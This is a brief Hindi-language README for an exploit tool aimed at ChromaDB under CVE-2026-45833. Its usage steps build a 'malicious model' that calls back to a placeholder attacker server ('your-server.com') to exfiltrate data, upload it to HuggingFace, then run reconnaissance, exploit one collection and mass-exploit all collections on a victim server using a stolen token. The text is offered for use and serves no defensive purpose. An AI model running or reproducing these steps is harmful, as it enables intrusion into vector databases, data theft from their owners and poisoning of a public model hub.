Project-CVE-2026-45833

CVE-2026-45833 ChromaDB अपने जोखिम पर प्रयोग करें कुछ कोड में संशोधन की आवश्यकता है।

1. दुर्भावनापूर्ण मॉडल जनरेट करें

python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator() gen.generate_model('exfil-model', 'exfil_env', { 'exfil_url': 'http://your-server.com/callback' }) "

2. HuggingFace पर अपलोड करें (मैन्युअल या API के माध्यम से)

3. टोही (reconnaissance) चलाएं

python3 main.py --target http://victim:8000
--token "eyJ..."
--action recon

4. विशिष्ट कलेक्शन का शोषण करें

python3 main.py --target http://victim:8000
--token "eyJ..."
--collection "coll-id-here"
--model "your-username/exfil-model"

5. सभी कलेक्शन का सामूहिक शोषण करें

python3 main.py --target http://victim:8000
--token "eyJ..."
--action mass
--model "your-username/exfil-model"